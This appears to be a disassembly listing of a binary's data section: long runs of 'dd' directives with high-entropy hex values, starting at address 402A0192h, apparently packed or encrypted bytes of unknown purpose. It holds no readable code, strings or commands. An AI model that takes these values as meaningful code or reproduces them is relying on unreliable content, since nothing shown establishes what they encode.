402A0192h dd 6026083Ah, 0DC54517h, 9709C301h, 9423ABECh, 88238CDAh dd 0D7365158h, 50E82C0Ah, 25BFE910h, 519E3120h, 0D7494028h dd 0B2005427h, 2D81034Fh, 470470DBh, 2468578Eh, 8BF37Eh dd 15AB360Dh, 0E597DBFh, 0CF2954A9h, 61E900B2h, 31387F08h dd 0E7FCDF60h, 769A6A78h, 9EF70747h, 0C06BC609h, 246594EFh dd 1A4F1D30h, 5021BDFDh, 0F638C650h, 1093DE1h, 8ED50FEh dd 885AB85Fh, 8075077Dh, 0DA45A54h, 280E19B0h, 0C0056F3Dh dd 8E0384C2h, 0FA013251h, 0B8003736h, 507753C1h, 314CEC57h dd 0CDB24608h, 5F79E8C2h, 61C40CC3h, 188FE4Ah, 89C3E76h dd 68CF26E9h, 0B56802C9h, 8829404Ah, 35E0DAB9h, 9115A65h dd 48D8F73Ch, 9CF0B080h, 314FBB59h, 26F23581h, 0D91B292Eh dd 560502C0h, 0A4EFC8BFh, 3CD24267h, 0BFBBEC48h, 0B0FB0980h dd 0B909A846h, 572705D3h, 84D1F72Dh, 127DB286h, 0F7297DEBh dd 7761F449h, 0F7281035h, 0F669D2C9h, 746FA484h, 0B0085397h dd 0F15D127Bh, 49C0E4B4h, 5AF13D0h, 7E1E5817h, 123DEF00h dd 2C450F93h, 99EEDC1h, 12A0401Bh, 0B1969CCh, 0F789571Ch dd 5E5FFA81h, 0D460D529h, 933FEEDh, 0EB316E75h, 524A1758h dd 0C2838A9Ch, 4470E90Ch, 6F75F4A0h, 4000312Fh, 1C9ACC05h dd 0B8C6014Ah, 0A4D658A2h, 0FBA50076h, 69FDB8EAh, 310B4E68h dd 0AB93E9F0h, 29B999FBh, 8E0E62F2h, 5F121C50h, 0B3301DCDh dd 0BEF0883Ch, 0F2EEB284h, 0FBBA457h, 720D3CFAh, 0F576137Fh dd 5B90F751h, 0ACEFA34Eh, 74529EE2h, 0C95AE2C2h, 0BA628554h dd 4D545156h, 0BEF9F348h, 0EE1F9382h, 0F6605FD7h, 0E74A2F6Ah dd 0D0AF8640h, 2175F79Fh, 0C785E779h, 6C4BE158h, 353ED051h dd 0D371F178h, 49592827h, 12FA02h, 46B35351h, 0CF38007h dd 0C352D3F6h, 6FF8600Bh, 50A0A8EBh, 28F13EB0h, 8B906DCCh dd 0B60F0207h, 8901A9C0h, 9437E987h, 22C05083h, 0C92BF830h dd 0D689010Bh, 7487A631h, 0E85C3BD7h, 72C2A429h, 0BFE82C1Bh dd 225D42C7h, 0B45FFB83h, 0E7C172C0h, 3EAFA003h, 44259C23h dd 54ADD25Ch, 3F2C1641h dd 0D3451231h, 0B4B3242Fh, 0A8B44307h, 8842B102h, 561060CAh dd 0AFC28825h, 17871F12h, 8323B904h, 0ADC1F70Ch, 80557248h dd 4A26312h, 0A0E573C1h, 134FEDC7h, 0D0091DE6h, 322A3918h dd 454D6F16h, 0F3748B0Ch, 3F6C41D9h, 10F5D10Bh, 0B9012E85h dd 0A054B017h, 3B69FD0Bh, 0C26650A4h, 0B6EB80C9h, 4052D687h dd 3E6C0C7h, 146F5AC8h, 19DDE15Dh, 0BB315033h, 618C4B06h dd 305C6A95h, 0CF0F7035h, 99A94282h, 0B425CB4Fh, 2B3EA621h dd 0F3010F61h, 5246548Bh, 0C9231006h, 2AABCA68h, 10A6EB4Ah dd 611B0C91h, 0EEEEE551h, 0C36B7B60h, 5890329Ch, 0A669E812h dd 21290141h, 1ECDE09Ch, 212559BAh, 418B24C8h, 0E364BFB8h dd 8636885Ch, 55847B14h, 50AD04E9h, 0A6102385h, 4BD60B12h dd 8584D368h, 568042Dh, 32A2EBD7h, 472F5EC2h, 4262E25Ch dd 2282E19Ah, 359DB08h, 0B630688Fh, 0D8E9F530h, 1DDD276h dd 0C60DFA21h, 3C83F113h, 0F17A7C4Dh, 28784213h, 4BCFDA0Eh dd 0D6BB82FEh, 6858003Ch, 97C852F2h, 0C98187C4h, 1B1CB2C7h dd 0EC5051E2h, 82692D91h, 0E84A0146h, 3D75B07Bh, 0EF26C588h dd 7BB97A4h, 0A447EC0Ch, 0B517D29Fh, 60EF9941h, 1FE8805Ah dd 0C1B72095h, 0F6E12834h, 4326EBE9h, 6C9A2778h, 51E0CD99h dd 68C82997h, 0F1329B66h, 8B500C46h, 306350F5h, 540C7453h dd 0B2C6470h, 7F02564Dh, 627B02E3h, 8B6D5EEBh, 0BB146649h dd 3098B5A0h, 0DE394992h, 45F0A75Bh, 7DE90924h, 0F75C28FAh dd 228206A1h, 50C73E8h, 62FD5470h, 0E9A3615Eh, 39012FB7h dd 19040B2Ch, 0D8D39862h, 0DDCC9127h, 0B933EC31h, 481903Bh dd 15E461DDh, 5F8D0990h, 0E97613D3h, 6044C5C3h, 0B26852A8h dd 51480BB5h, 0CEA24244h, 0CB0EC708h, 4293FE28h, 473832A1h dd 5B36FA10h, 22D438Ch, 699560D3h, 0B258D801h, 3A3E918h dd 58C367h, 8108E3C1h, 0B7D03FEBh, 362D8D03h, 3E6AB221h dd 2049E936h, 14236802h, 0FDE0195Ah, 12132CCBh, 3F083108h dd 0A5041E24h, 0BD4BC70Fh, 6ABB1220h, 64098A59h, 643DBF7h dd 80136DFDh, 0CA86E9E1h, 0EF55EF7h, 880F94C5h, 0D2CF06D7h dd 595B46D0h, 5D30C987h, 4DA424h, 6F6E942Dh, 5F8290Bh dd 685F07A0h, 911FA125h, 23605445h, 0E0DF4944h, 7952E296h dd 537D477Bh, 1149BB1Eh, 0BE3D562Ch, 7FABDD5Bh, 7DAF733h dd 93BFE857h, 7181FE1Bh, 0A5161CFh, 0A87CEDE7h, 0A804324Dh dd 646DE905h, 0C00E59A7h, 27706E5h, 0BCC580E8h, 7BD08289h dd 91209EAEh, 0A621507Eh, 8E22F534h, 4E0E7427h, 0ABA54A6h dd 5BD83003h, 0DA511504h, 80F5D8FCh, 981D2C99h, 3E53731Fh dd 718285BAh, 5AD389F6h, 6CB61740h, 90A4B2Eh, 0AD704518h dd 207F3883h, 8C840F06h, 0C6064DCDh, 2B8B5942h, 7832F00Ch dd 1F90B8A6h, 9B1620C8h, 13F51801h, 0C091B208h, 30D6648Fh dd 676C2AE9h, 29CE068Fh, 3E1B2F7Dh, 0A5F0940Fh, 30F24910h dd 0B0C20192h, 1E8609A7h, 18012AC1h, 0F61451B9h, 348A361h dd 0DCA4B250h, 12F2486h, 1EF8D9C5h, 0DDF4DAF6h, 504ED001h dd 11BE0145h, 90C4429h, 0C77894E9h, 0C3CD544Eh, 73789EF1h dd 3D6E7355h, 2E063048h, 1275BE80h, 80418644h, 222ACE9Fh dd 464B321Dh, 1956E6C1h, 0E874804h, 0E18FFEEh, 11DC05E0h dd 6F980871h, 11072D51h, 5040E986h, 565258EFh, 49DFBE05h dd 54814B0Dh, 0DE07C698h, 0DF6358C9h, 81BA66B0h, 53B66E90h dd 0E101403Ch, 2F4B0B88h, 0A508C20Eh, 3397E3E9h, 0BFB9F7F4h dd 14B91F19h, 0D0E94CBAh, 10E05A59h, 0B01607A4h, 0A4B4F218h dd 5964A3E0h, 6F84243Bh, 0D6FDAD3Dh, 27571A08h, 7DFD90C0h dd 22E243Bh, 0E362BDE1h, 99ADC334h, 0AF30664Ch, 670A5CE0h dd 567F72B6h, 87F9602Eh, 8B0C4340h, 5C095845h, 2D02075Ch dd 0D5F7298Eh, 0A60B35DCh, 38794474h, 889FB151h, 52A857C8h dd 532921BAh, 5C0C2654h, 0E568C29Dh, 0C1ACE632h, 4A65E17Eh dd 0D10C8270h, 0D045874Bh, 0E7E9E670h, 706FF0BAh, 0C28975E4h dd 0AA7494FAh, 16A30497h, 0A090B48h, 0FF02D10Fh, 8902B84Ah dd 5214DCE3h, 989B73C4h, 1461728Bh, 1670C9B7h, 0D098EB51h dd 4FDB68F5h, 817DA13h, 92039E9h, 1D95D54h, 111687E4h dd 6800FC28h, 101B34D9h, 0E72CC15Fh, 1C105706h, 59EB280Eh dd 287C30Bh, 0C02D38FBh, 50814BB6h, 1831FCF3h, 10EBD166h dd 172E146Bh, 14AF145Bh, 0A39A9D46h, 57B0A210h, 0FB43C024h dd 6B920620h, 53317EF3h, 0BE699E9h, 2E4D325Bh, 22B920h dd 0BE766E49h, 0F32717B1h, 0E0D5E916h, 0D04E68A7h, 885150C9h dd 0E84AD572h, 0C3F6D229h, 5BD9F0DBh, 300F5968h, 5F55E916h dd 874C4495h, 8517F901h, 888B741h, 9F694C59h, 290A3F5Ch dd 0E98F5EF3h, 0FB6E1A3h, 0E7BB1000h, 0C163415Fh, 0F1037DEBh dd 1D852DA5h, 0C62E0013h, 0A66FF65Dh, 96E6D13Eh, 0F1B42338h dd 9789F05Eh, 0E2581207h, 0C554BFC0h, 82527F80h, 6EEB953h dd 31090618h, 1BE696F1h, 0F69D6C39h, 3830E907h, 3D5428DEh dd 635083B8h, 2CED7DC2h, 28100355h, 66316499h, 1215AC47h dd 8B06D7F7h, 12186B58h, 0F66C2FEh, 8C64DDE5h, 0B611CC74h dd 0EE80ED03h, 81842C0Ch, 5AD104F0h, 9A9F037Eh, 0CF8022B7h dd 0C1DD27E9h, 80B6934Ah, 0AD499540h, 2C314AF6h, 0C50A894Bh dd 83605DE9h, 0F210580h, 9F5F5250h, 9DE9FFA2h, 88D1DF4Ah dd 0B7189F60h, 0D0F7005Dh, 48E75C2Dh, 0F124E9A2h, 0DA53AF0Bh dd 1870F0B5h, 1527DF68h, 8082263Ah, 4605D86Bh, 98AE765Bh dd 1D6C1F7Fh, 18BA7D71h, 8872F217h, 0FE61B824h, 1C472159h dd 58F0322Bh, 0B83EB084h, 2C8E4FC0h, 1EDC7018h, 42B0D2F7h dd 0E2059090h, 27C53467h, 30DE300h, 2DE91462h, 0F684B84h dd 8200739Ah, 646BB91Ch, 2DE955E1h, 0D14A50CDh, 0D312C506h dd 0AFDE893Fh, 53CE05BAh, 680204A3h, 75806BD8h, 821DDAF4h dd 0D0405909h, 35C60690h, 1C47BF14h, 9806DD03h, 0DC87E912h dd 9FF45988h, 825FB984h, 0FE6C2C81h, 5B716815h, 0E0F32AB1h dd 4E78F998h, 1A478835h, 0A2F9E62Dh, 3084046Bh, 68D0F0C3h dd 13614E2Dh, 8BC54F45h, 41834BD9h, 40DD9A58h, 5F1B950h dd 0E931F355h, 5C8244A0h, 0EA8A8109h, 0EDC0001Fh, 0F5800B06h dd 0FCF8309Fh, 0FE40E712h, 0ABBF6A0Bh, 8B1145C8h, 0AECE4F53h dd 0F1691B91h, 76D63B3Eh, 0CA4DCA16h, 7B1415DFh, 5DE817E6h dd 54F8FCCDh, 9CAA9727h, 0E0671354h, 1165896h, 92F078E5h dd 0D0B74E80h, 0BA559BA5h, 21D2548h, 458950C9h, 30B96031h dd 0EF8C82E4h, 0F0E228A2h, 2CB42C74h, 6F3FE90Dh, 58DB85EAh dd 0C0ACA4D3h, 0ED828A5h, 3AC16866h, 0F3B3ED99h, 0EFDF1886h dd 446D01CBh, 16E92581h, 0B66E7F42h, 1621D359h, 0D34BB477h dd 265F66EEh, 5A1EF701h, 3509555Bh, 165AFBBCh, 0A5978189h dd 84A46DBDh, 12F842B0h, 50BDCA96h, 105B21DEh, 413E3C28h dd 0EBC0816Ah, 612D7A99h, 13890120h, 90AF660h, 0A09819EAh dd 2B580268h, 0AB4FD3B2h, 7D3D86EEh, 575A3F83h, 769AE7A5h dd 402C9CD1h, 0BA401701h, 0C2DB0108h, 76088AEFh, 0B322092Ch dd 0EA593B95h, 0F15D8B2h, 9EF9055Bh, 7966130Fh, 0BA0016E6h dd 4A2934A7h, 3E42EA81h, 0D783C32h, 3E59E9D5h, 1BF0707Fh dd 0E055F83Bh, 0AF0AABB0h, 478F2C6Ah, 540328D0h, 20E97A41h dd 644F3167h, 5102F7C0h dd 0B48AF854h, 78922C1Ah, 7EEDEB83h, 8F495924h, 534A5E5Fh dd 570D1AB4h, 0D3684D12h, 8CD13ADBh, 0DC0C9A2Fh, 39C8D2D8h dd 9B905557h, 0C138080Bh, 449B8331h, 807BA21Eh, 3FE64CF9h dd 9589584Ah, 0E72AB10h, 25A8E4BBh, 96AC29A2h, 8AEBB0B4h dd 81607641h, 0E6510605h, 4DAF74Fh, 64CA8100h, 0E9419F0Dh dd 391E64C9h, 1BB3C2C1h, 4664697Eh, 68C102ABh, 24713FEFh dd 2D0B38A0h, 8F297007h, 2633A831h, 2632433h, 0FE90346Fh dd 592E1B43h, 0BE10BF5Dh, 0BB33650h, 59511832h, 0DE3C148Fh dd 0D32BCA1Dh, 36D10081h, 0FB296DB9h, 1A9CE913h, 7A50FB62h dd 704620AAh, 788495Ah, 5D7E327Dh, 2250C8B0h, 0EBE337D6h dd 2E956C1h, 6068004Eh, 14B29D7Ch, 83423459h, 42E47CEDh dd 0F0093854h, 232D0226h, 5E184522h, 0E9618854h, 3072D203h dd 444FFE50h, 0FB09EB0Fh, 807E7A4Bh, 0F90ADAA0h, 7F489516h dd 8A2420AAh, 0E600473Fh, 0E919FE55h, 772B6449h, 7DD4C0D6h dd 0A3FA548h, 1CDA5CD1h, 8857677Bh, 4B2754A0h, 2DF92508h dd 4F133075h, 13E1EF88h, 5C759618h, 2408A804h, 44FF5758h dd 0FDA9215Fh, 8094AD78h, 0A87ED605h, 0A5FDB01Bh, 915014B2h dd 6917ECCFh, 93137304h, 72A37085h, 8062CA67h, 0CD0926E4h dd 0F581590Fh, 67FEA466h, 0A1270CFCh, 0C2B0C281h, 0D8912034h dd 92D2C40h, 76C9268Ch, 48965FE6h, 4B3CF952h, 0D4739405h dd 170EA339h, 0E644E568h, 0FED70DE9h, 0C2DF4A0h, 9E5D603Dh dd 133A024Ah, 0AF0BCC1h, 0C1F07212h, 0E32E0590h, 0A9E1D171h dd 15AB061Bh, 750C3A5Eh, 0EBBF25C5h, 64A615E1h, 0E65C887Ch dd 7986327Bh, 2B85429h, 45D43D16h, 402B6821h, 0E8906C38h dd 176EE908h, 6801B800h, 5C31473Eh, 0E8E180C8h, 0C15F0152h dd 0EFE46621h, 23199574h, 3A7DEF2Fh, 6DE1062Ch, 1ABE68C1h dd 0D29CC178h, 325C01E1h, 2041AB44h, 0DC12E54h, 575EF101h dd 2194730h, 0C1453A6Ch, 156107EAh, 0BC833042h, 96E55631h dd 1F156F94h, 87B50F8Ah, 5BDA8942h, 1E27C040h, 10E850Fh dd 8ED0AD5h, 0F685A02h, 0A9E8B06Eh, 145BA1FCh, 39391901h dd 2A3929Dh, 5FFB0109h, 680057C5h, 13BB499Dh, 50482D58h dd 0C004CC3h, 2C385335h, 1AD8F732h, 3859D7E9h, 0FAEB41DCh dd 0B03B20EFh, 0A9935469h, 4B657BC7h, 0B8500798h, 1DC8024Bh dd 0FE7B00B2h, 55C20163h, 5A1494BDh, 6936711h, 3E3135DBh dd 60AB010Ch, 0E5C16F6Ch, 662B2006h, 0CED95A81h, 0C0C3152Bh dd 9FF5292h, 11293CD6h, 5405384Eh, 6F816859h, 65C2A634h dd 70DA420Bh, 37060E09h, 0F7E965C5h, 0B0460184h, 6D905493h dd 0DC0A7A4Bh, 0A63D6F68h, 8172D389h, 0E498E91Fh, 0A24B3033h dd 0B02192D2h, 5958509Fh, 0B637D05Ah, 0E910EFE2h, 64B16593h dd 249FA359h, 83016C53h, 460B932Fh, 74B8CEF8h, 97487D70h dd 6E5EAF41h, 2704F55Fh, 0DAC7320Fh, 203C23Eh, 0BE3F489h dd 0BCB25BD9h, 58E2FE7Ch, 26BF000Ah, 0B58B465h, 0AC5F3E7Dh dd 5992139Ah, 2D7E05B7h, 97ABB932h, 532091CCh, 4A1F9003h dd 49BBA35Dh, 0B0500081h, 66092CE7h, 27B73853h, 5B01F83Bh dd 0E8C0DF0Ch, 12E1F207h, 0FD327A0Fh, 0B5C818C7h, 0A377ED3h dd 460D9EA2h, 57BB8A2Ah, 4205689Bh, 5B5262ABh, 0EF2808BCh dd 2E68F208h, 0C0365C8Dh, 11124250h, 4DEF06B5h, 5852580Fh dd 899F4520h, 0E078894Ch, 78295A99h, 0B3AA24CBh, 0BCBBA01Bh dd 0E848CBEDh, 0BE80D67Dh, 0E4B0F80h, 522A875Bh, 565A8EEDh dd 0C1825ECEh, 0F48206E6h, 8CD06CE9h, 0C968660Eh, 1BD1974Eh dd 6F75AE4Bh, 17D44120h, 176AB978h, 0AC22C010h, 531CD830h dd 0C342FEB3h, 0A028EC68h, 80D6B277h, 0FE4973F2h, 0F0D3FC12h dd 0C82AEBEBh, 4D40B683h, 432C06B9h, 0EE311125h, 0D2F83A26h dd 0E6787FE2h, 44E92764h, 0FFBB7900h, 75C8367h, 3B0E20FAh dd 8FA73204h, 0FB5E87EAh, 322B3008h, 8E577984h, 2C891FD1h dd 41CB0B8Eh, 47385A1Eh, 389BB7A1h, 1FA8106Dh, 6950BD42h dd 0D415D021h, 1878F448h, 0C262330h, 1A25285Dh, 1259F96Bh dd 50CFA929h, 0E6C2AD86h, 0D95EF501h, 16DB1A63h, 263C9555h dd 86AB26BAh, 1F6B68ACh, 0F64BBAF6h, 77520535h, 0FC27BA8h dd 0E468C8AFh, 4A974257h, 52FC748h, 0AD1FE5E9h, 1019F88h dd 0E6D13353h, 54342422h, 3428AF24h, 3140B2Dh, 15424633h dd 8081070Fh, 0E844E529h, 3750185Bh, 1541D494h, 38A13328h dd 3DB0A8C1h, 0F029DCC7h, 49AF6A74h, 0D6F1C2CDh, 6557506Bh dd 0E5FACB33h, 885EEC4Fh, 7498172Eh, 5B200302h, 5020058h dd 8EBF23D6h, 0E187728Bh, 7C3125A1h, 0F232107Bh, 0E948E09Fh dd 18956F81h, 2D674D7Eh, 0B00028B9h, 42AC76B7h, 5482B1A2h dd 5025CA3h, 6F357C02h, 0F00CD365h, 0E7CA8C93h, 56C1A658h dd 6E205E54h, 0B31EC0F3h, 8BD828B0h, 27E214BFh, 94940CC2h dd 912594Dh, 565BFD28h, 0C4F5187Fh, 0A6B10BC8h, 0D2D3780Bh dd 156B2ED1h, 3A9768A5h, 62672083h, 0B148BBFh, 3C96CF31h dd 2741D9FBh, 5BA2406Ch, 44EA4F28h, 25FAB22h, 756F04ACh dd 0FF96A9B0h, 2E685780h, 28705852h, 99AC63B0h, 0EC793B04h dd 7B1FCF5Eh, 9CA914EFh, 88A34458h, 63C433E9h, 55F450B6h dd 3CD79419h, 728127FCh, 54DCE572h, 0A60CFBFCh, 0C211C27h dd 346D3878h, 84264AFBh, 8A740586h, 0A59B215Ah, 90426803h dd 0F0DD2482h, 5F178FA1h, 2CBB9EC4h, 48420F66h, 26DAA89Fh dd 6F14AB86h, 11BADB06h, 6812C798h, 0D8333A07h, 6AB5C855h dd 5D763FFEh, 3D094BE9h, 0BC583024h, 0D9B214EEh, 0A7E72A85h dd 4EC4567Dh, 4BF67FADh, 0FC11E36Bh, 0B38F893Fh, 4A3A0B5h dd 74E82840h, 0E9ECE52Ch, 2EFF9472h, 0D67C6448h, 9925C299h dd 1384E81Bh, 22883D02h, 0C9E1F3A5h, 0EE313E33h, 4D6BB30Fh dd 0D47D01A6h, 0AD7AAFCh, 999513A2h, 2C9606D0h, 8027E99Bh dd 6930A14Eh, 3E31DE0Ah, 0C77E003Eh, 6EEB3957h, 780DD596h dd 0DE1675CCh, 0B464F871h, 0B8032F25h, 0ECA25066h, 59562C42h dd 429F9C0h, 8B90771h, 82CD5575h, 7D5AD1h, 4A390E0Ch, 9340950Bh dd 79007735h, 0BF57438Bh, 9562B85h, 5FF82976h, 78CC2BA0h dd 501214Dh, 3ED47EACh, 8F78CEE9h, 0C5FB674Ah, 58975D65h dd 0C3010B60h, 92BD13A6h, 0F18EC922h, 12E1F720h, 0B529E927h dd 0D7840205h, 0BD01E1FEh, 1350283Fh, 192123Bh, 47327B0Eh dd 2A03386Eh, 0FE039953h, 66E588C4h, 59EAA058h, 80D10F86h dd 1693ACF1h, 22616B4h, 93B252D8h, 7260ACF8h, 0E280550Eh dd 70EAE69Ch, 0E999A0B0h, 84356B14h, 38073DB8h, 0E0405D81h dd 5517E81Eh, 1D2C9C0Fh, 0BEE051A2h, 0A5832F59h, 0EF2292C4h dd 14B05D5Eh, 602568E1h, 80BAB20Ah, 0A61EF81Ch, 0B2BB03Fh dd 6F1F0495h, 53037DD0h, 91C67CBBh, 91E7762h, 29545068h dd 820A8DCh, 1C91AAB4h, 3D1F99D2h, 0B1532493h, 0CA231E18h dd 7633770Ch, 0F8E2095Fh, 0B7609924h, 0F3046847h, 6418E945h dd 0AB75300h, 22EEFC0h, 6336980h, 0DEC7B13Ch, 20B3E0E7h dd 98EA90F8h, 0B8AEEEF1h, 0E93B3FDFh, 9772EE2Ch, 0C1372D8h dd 84B0D604h, 20EC9B5Ch, 0C90CA092h, 2D09263Bh, 0A8BE13B8h dd 8CC85A93h, 0A1176978h, 40691EF3h, 81DA013Fh, 652D3FC2h dd 11083F05h, 7B2D0160h, 2A29DE1Dh, 0F8958E22h, 301497A6h dd 213E0DEDh dd 59515919h, 2A797B16h, 0D1139978h, 0E93B42E2h, 8D5C58CAh dd 802B4950h, 0D5EED2F6h, 0CFF0195Ch, 2B0B5AF7h, 75F452FCh dd 8241D77Bh, 9F612E27h, 0F4433E4Fh, 0D92AD2E3h, 4D9C13Dh dd 0C64970h, 0F71E7C27h, 11A62DD8h, 25007BE8h, 59394462h dd 3A49BB35h, 9B80383Bh, 210ACE37h, 0C559E9C3h, 2E466063h dd 419AF45h, 6049F2BAh, 0F1348097h, 29FCFD35h, 46B21EDh dd 0D90BAE08h, 2B7729Bh, 407BD5CAh, 0E4E1561Eh, 0F0912B33h dd 0AC002721h, 0E4FC192Ch, 8B57FBAh, 8A319C3Fh, 5B00DFBDh dd 0F0BC009h, 71B3BF84h, 6651279Ah, 0A933E98Bh, 6071C25Ch dd 801FEF3Bh, 457C06BEh, 0FE315112h, 0BE69C00h, 34B394Fh dd 73376853h, 68275445h, 4E0770DEh, 7EA7E411h, 0F3FE18BFh dd 0A85A9CD9h, 412820CCh, 0A76076B0h, 5EF0211Ah, 8E801C1h dd 0F750C831h, 0C2423C14h, 7C270F68h, 8D5644D9h, 46FF207Ah dd 5F877016h, 0E908A242h, 2DA4E8C1h, 1F17FC3Ah, 15C221D2h dd 0BB029CAAh, 25914A7Bh, 93E29743h, 71B81458h, 8C0CB900h dd 59CA096Ch, 0B6E2A042h, 0C9070BF2h, 0DE29D8E9h, 55C2DFC3h dd 52C40554h, 39BFB194h, 925439EAh, 6684E3CDh, 0C21F3589h dd 0B60EA2Eh, 0D056371h, 0DFB8E913h, 89849726h, 1FF0BA9Eh dd 0C12C0C50h, 70608EAh, 61023290h, 2923C384h, 411EF9D6h dd 305EF189h, 641CD36h, 0C2A6E3D4h, 5EDC154h, 6CD08B61h dd 17374A81h, 0C958F4h, 0A5A77878h, 8B46C829h, 715F0BB7h dd 0D53C2E7h, 916B4CDCh, 0F80433F6h, 73EEDFF6h, 0AE88AF16h dd 0B3ADD78Dh, 4E68C565h, 0A64010B3h, 0CD540084h, 34E6BD64h dd 681670F9h, 58705A48h, 4946E955h, 0D53BAFD0h, 0EA92E99h dd 577E2052h, 0D1E0900h, 5EEB815Bh, 0C61D0BA5h, 4F16DA89h dd 0E905C780h, 9D00484Fh, 1BA42D5Ah, 89640930h, 39FB58C5h dd 55131FA1h, 5310EAA7h, 0ADE982BBh, 0F6EFA4Eh, 4D646CF6h dd 0BAB4A664h, 528A2D60h, 29671361h, 2C9CB3DFh, 3E2402FDh dd 5BA1F341h, 6031B861h, 0BE2A75F4h, 3FE1CAC2h, 81E261BEh dd 4FDED185h, 9796F151h, 0EBFD005Dh, 817A6B01h, 2101F274h dd 0E9425389h, 687EB1ECh, 74272A2Ah, 2E12EAh, 0E3D15A08h dd 0AB41F3C1h, 2D00A822h, 2C3D152Fh, 0AEC7BB29h, 0C81F68ABh dd 40F90728h, 19D2E911h, 0FEF269C0h, 5CE5F1BDh, 0C931D89h dd 0EB2122B5h, 648E360Bh, 271CF0D1h, 19A9F801h, 7F9BF096h dd 894872CAh, 1150218h, 275A4ED0h, 2088386Ch, 4DA528A5h dd 5B18CC77h, 0F7F24915h, 0C008D66Ch, 70B9148Eh, 0CA32BBB4h dd 147F5E36h, 6102B127h, 0A7AF67E9h, 404E0430h, 9D8240AFh dd 58393703h, 0A690B298h, 0E962140Bh, 9DFED832h, 0FDE2BE33h dd 0BA010A74h, 0B151FE7h, 0AFFE403Fh, 1520825h, 0C415446h dd 0E9C34A22h, 0A5C5169h, 0EFA901E0h, 0C701DFE5h, 9A41678h dd 0C2C8A895h, 9AB5C5BBh, 2618543Bh, 0EAEF09A3h, 88BA3ADEh dd 21C756Dh, 4D4B5423h, 1F67D40h, 254F1E58h, 88F682EDh dd 6084F4F5h, 0BEE5805Bh, 0EE02C5E6h, 5E9EA28h, 0B939D9DFh dd 58CCC84Bh, 948B5B9Ch, 5B0D5CC6h, 0D21015B4h, 54DA68E4h dd 4EEBE014h, 7E09F35Dh, 0ADA90A2Fh, 0EE7C362Bh, 81C6557Ch dd 422930h, 813B9216h, 0F462BECDh, 81F7192Fh, 0A730C6A2h dd 0BFED2271h, 80F10907h, 58C72860h, 0E9F81730h, 0F623C4E5h dd 9C680C98h, 5B649749h, 4FDBD8D0h, 0A2E0545h, 2508C6DAh dd 1332B902h, 0DE011468h, 0CAEE8102h, 6B57A735h, 0E3D94B0Ah dd 1687C854h, 0B0E1AC5Ch, 0A8BE9EE9h, 7E936886h, 0D2075A6Eh dd 987EA1E9h, 0D0EE8009h, 10A7653h, 0F430ABC6h, 2462E95Ah dd 0F501812Ch, 24038821h, 3D7EEE01h, 0C6262F7Dh, 6226B40Eh dd 87C4205Ch, 5881A3FCh, 0A0CE63D8h, 0AB08931h, 0E83120C0h dd 0C5843FF6h, 0C24C4802h, 9BCE1E71h, 2D2BA09Dh, 75655274h dd 4DFE0902h, 40735AB9h, 0E8C962Bh, 0FF273CAh, 20E67660h dd 0EDC09065h, 0E00D25A6h, 1E57B900h, 8B21E15Eh, 0A0C4C3h dd 7E5B3B6Ch, 0D490C1F6h, 0BE032AB4h, 0DD47318Ah, 0E39225C1h dd 91D57524h, 0EE0963EFh, 484F687Eh, 0A2A9DD21h, 21EBD101h dd 4A162B49h, 0C3553832h, 983C9694h, 0C95BB097h, 7F40A82h dd 6F1C8B38h, 0FA317230h, 8A034F7Ch, 0C35E13D1h, 5EB57149h dd 0BFB960C6h, 2E12503Dh, 7CB01BE9h, 30D93BB1h, 0E3B2580Eh dd 2C59CAA1h, 0EEC12EEBh, 7E06D8BEh, 0C2669E0Ch, 8B016C22h dd 40300C17h, 0B8502F00h, 2CCA0A35h, 0BF8093Fh, 0B085DDF7h dd 2DFE0702h, 8B082B5Fh, 0D8263FFEh, 0B3481266h, 4AB3005Ch dd 28BDEB80h, 0C85B4AD8h, 5F4E8A70h, 0A9AC3032h, 903D96D7h dd 0CAF94F29h, 5B5A251Ah, 0C74109DBh, 0EB8A76h, 0FE70FC9Dh dd 9E0AB04Eh, 0A0CE4497h, 9A33E923h, 0A9F71766h, 47D0805Ah dd 59B23B52h, 4CC7EA1Eh, 0D50C0ECAh, 26E96580h, 0E21AAB19h dd 62F91BBFh, 76427F93h, 8239EAD1h, 5F36DFBFh, 0EAFA77BAh dd 0E4420A27h, 0F7554E00h, 0E95182ADh, 15A3F88Dh, 82350168h dd 26BAD413h, 762F59B0h, 315BC6F2h, 0C53EFA01h, 0D2F59427h dd 75B30193h, 0CA010AF3h, 3A6C2EFDh, 57535F25h, 2AE9EFB1h dd 162E0935h, 2ED8B3ADh, 25BCADE3h, 415E44F3h, 55607EB1h dd 0B65EA768h, 92AD6547h, 1377BD4Bh, 94CDEAF8h, 5CEEF6ECh dd 0B380FE1Bh, 31E79E90h, 5B245F0Eh, 0E9D2A25Dh, 562FD743h dd 0E03F17B2h, 0E42C74B2h, 0B316AE69h, 0F25932C8h, 433B5FA7h dd 4A2C6431h, 146005C0h, 0EB2DB02Fh, 90FEA3Ah, 5B59B1B0h dd 0A06BCF98h, 80BBF150h, 68C8BE0Fh, 78932F91h, 3580DC17h dd 94BF580h, 6604EDC0h, 0F3FE3B07h, 4A4AFA1Eh, 4E8A1AD8h dd 0BBD65BD4h, 6A13EBBCh, 3E2B8E01h, 0C8217F1Ch, 80DD8F20h dd 878EFC1h, 53AD7834h, 0C5144AA5h, 0D71242ECh, 72DB9713h dd 1D76129Ch, 15A35CE4h, 293C0596h, 0CA8FAC21h, 0B51086D4h dd 4B95B803h, 84D77BA5h, 70AF44Fh, 4B7A2E41h, 7D0B579Bh dd 889284D2h, 8201131Fh, 85780868h, 232CD21h, 216F75E0h dd 6E84259h, 4FC15944h, 8358DCDFh, 8DC85B31h, 20C3E182h dd 84942C87h, 0F7D024Eh, 831DFA20h, 0B6E42008h, 0C50C7DB1h dd 2F2370Dh, 501328F3h, 154CD329h, 52000178h, 0D553A9BAh dd 484EE923h, 0BDE2802h, 957CF3EBh, 0DE5AEE87h, 5EF70951h dd 0C71C4A7Eh, 5943DDBh, 291FE535h, 0E2D9AF8h, 1D3C8611h dd 0FD1D7230h, 0A0E0283Fh, 9F36469Dh, 0F73453C0h, 4C16B5Ch dd 6F280B86h, 23B0F9C0h, 487944AFh, 136BF74Ch, 0B5F322E3h dd 0F3805922h, 0B780370Fh, 0CF800741h, 27D7F663h, 0D0E773DFh dd 3940C7D2h, 608249E6h, 82476BB2h, 81036F78h, 0DE1BBEC3h dd 0FD0C0426h, 0C296D864h, 0D00BBBB0h, 33F61C9Ah, 0E8BAD672h dd 1272480Eh, 0C6F2B8C4h, 171AEC40h, 0A0793114h, 0D154F79Eh dd 85BDD902h, 3F3E78Dh, 8C7B5A2Dh, 0FABDEA0Ah, 